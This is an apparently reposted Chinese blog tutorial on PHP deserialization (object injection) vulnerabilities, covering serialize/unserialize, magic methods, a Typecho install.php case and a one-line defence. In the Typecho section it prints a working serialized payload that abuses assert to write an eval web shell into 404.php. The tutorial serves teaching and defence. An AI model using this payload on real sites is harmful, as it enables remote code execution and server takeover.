PHP反序列化漏洞——漏洞原理及防御措施

  • 序列化  
  • 将对象转换成字符串
  • 反序列化
  • 将特定格式的字符串转换成对象

什么是反序列化漏洞

  • PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
  • 一般程序在创建的时候,都会重写析构函数和构造函数,反序列化就是利用这些重写的函数。

反序列化函数

  • php中的两个函数:
  • 1、serialize()
  • 2、unserialize()
  • 1、serialize()
  • 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。
  • 2、unserialize()
  • 与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object
  • 例:
  • $arr=array();
  • $arr['name']='张三';
  • $arr['age']='22';
  • $arr['sex']='男';
  • $arr['phone']='123456789';
  • $arr['address']='上海市浦东新区';
  • var_dump($arr);
  • 输出:
  •   array(5) {
  •   ["name"]=> string(6) "张三"
  •   ["age"]=> string(2) "22"
  •   ["sex"]=> string(3) "男"
  •   ["phone"]=> string(9) "123456789"
  •   ["address"]=> string(21) "上海市浦东新区"
  •    }
  • 序列化:
  • $info=serialize($arr);
  • var_dump($info);
  • 输出:
  • string(140) "a:5:{s:4:"name";s:6:"张三";s:3:"age";s:2:"22";s:3:"sex";s:3:"男";s:5:"phone";s:9:"123456789";s:7:"address";s:21:"上海市浦东新区";}"
  • a:5标志序列化为array包含5个键值对,s:4标志内容为字符串包含4个字符。
  • $zhangsan=unserialize($info);
  • var_dump($zhangsan);
  • 输出:
  • array(5) {
  • ["name"]=> string(6) "张三"
  • ["age"]=> string(2) "22"
  • ["sex"]=> string(3) "男"
  • ["phone"]=> string(9) "123456789"
  • ["address"]=> string(21) "上海市浦东新区"
  •  }

魔术方法

  • Magic Function"
  • 是 php 中一类特殊的方法
  • __construct():
  • 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
  • __destruct():
  • 当对象被销毁时会自动调用。(析构函数)
  • __wakeup():
  • unserialize() 时会自动调用。
  • __wakeup()
  • 使用unserialize时触发
  • __sleep()
  • 使用serialize时触发
  • __destruct()
  • 对象被销毁时触发
  • __call()
  • 在对象上下文中调用不可访问的方法时触发
  • __callStatic()
  • 在静态上下文中调用不可访问的方法时触发
  • __get()
  • 用于从不可访问的属性读取数据
  • __set()
  • 用于将数据写入不可访问的属性
  • __isset()
  • 在不可访问的属性上调用isset()或empty()触发
  • __unset()
  • 在不可访问的属性上使用unset()时触发
  • __toString()
  • 把类当作字符串使用时触发
  • __invoke()
  • 当脚本尝试将对象调用为函数时触发

Typecho反序列化漏洞

  • Typecho:
  • 是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。
  • Typecho漏洞:
  • 1、漏洞发生在网站根,install.php文件。
  • 2、找到网站的漏洞位置,使用了‘unserialize’函数去反序列化接受到的‘__typecho_config’参数。
  • 3、根据源代码追踪到构造函数并利用。
  • Typecho利用
  • a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:19:"Typecho_Feed_type";s:8:"ATOM 1.0";s:22:"Typecho_Feed_charset";s:5:"UTF-8";s:19:"Typecho_Feed_lang";s:2:"zh";s:20:"Typecho_Feed_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:57:"file_put_contents(’404.php', '<?php @eval($_POST[i]);?>')";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:7:"typecho";}

修复和防御

  • 和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。
发布了42 篇原创文章 · 获赞 145 · 访问量 5094

猜你喜欢

转载自blog.csdn.net/cldimd/article/details/104999404